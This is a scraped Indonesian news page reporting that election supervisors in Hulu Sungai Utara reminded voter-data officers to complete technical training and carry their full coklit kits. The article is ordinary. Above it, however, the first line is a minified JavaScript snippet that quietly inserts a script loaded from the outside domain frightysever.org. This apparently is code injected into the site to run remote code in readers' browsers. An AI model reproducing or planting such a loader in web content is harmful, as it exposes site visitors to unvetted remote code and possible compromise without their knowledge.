(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Pemilihan Umum (Bawaslu) Hulu Sungai Utara (HSU) mengingatkan para Petugas Pemutakhiran Data Pemilih (PPDP) wajib mendapat Bimbingan Teknis (Bimtek) coklit sesuai dengan petunjuk teknis dan pedoman terbaru yang diterbitkan KPU. Bimtek diberikan sebelum bertugas dalam pencocokan dan penelitian (Coklit) pemutakhiran data pemilih.
Hal tersebut seperti disampaikan Ketua Panitia Pengawas Kecamatan (Panwascam) Sungai Pandan, Wahyuni saat menghadiri pelantikan PPDP se Kecamatan Sungai Pandan di aula Aisyiyah Desa Teluk Betung, Senin (24/6/2024) siang.
“Kami minta untuk dipastikan bahwa segala kelengkapan coklit telah diterima oleh PPDP sebelum bertugas. Karena ketika coklit ke lapangan, PPDP ini menggunakan topi, rompi, id card, juga stiker yang wajib ditempel usai melakukan coklit di rumah-rumah warga,” tegas Wahyuni.
Baca juga: TPU Lintas Agama Banjarbaru Diplintir Haram Melanggar Syariat
Stiker coklit, kata Wahyuni, menjadi bagian tidak terpisahkan dari proses coklit. Sesuai pasal 15 angka 1 dan 2 PKPU Nomor 7 tahun 2024 yang berbunyi: 1 Pantarlih memberikan formulir Model A-Tanda Bukti Coklit kepada Pemilih yang telah dilakukan Coklit. 2 Selain memberikan formulir Model A-Tanda Bukti Coklit sebagaimana dimaksud pada ayat 1, Pantarlih menempelkan stiker Coklit untuk setiap satu kepala keluarga.
“Kami minta jajaran Pengawas Keluarahan Desa untuk berkoordinasi dengan Panita Pemungutan Suara memastikan kelengkapan coklit. Apabila sampai waktu pelaksanaan Coklit, Pantarlih belum menerima kelengkapan coklit, maka harap PKD untuk menyampaikan saran perbaikan,” pungkasnya.
Baca juga: Hj Raudhah Wafat di Makkah, Enam Syuhada Haji dari Embarkasi Banjarmasin
Adapun dalam pelantikan PPDP se Kecamatan Sungai Pandan berjumlah 79 orang dari 58 Tempat Pemungutan Suara (TPS).
Dalam pelantikan tersebut, Ketua Panwascam Sungai Pandan didampingi Koordinator Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Humas M Ilhami dan Koordinator Divisi Penangan Pelanggaran dan Penyelesaian Sengketa Aina Pramita Sari. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.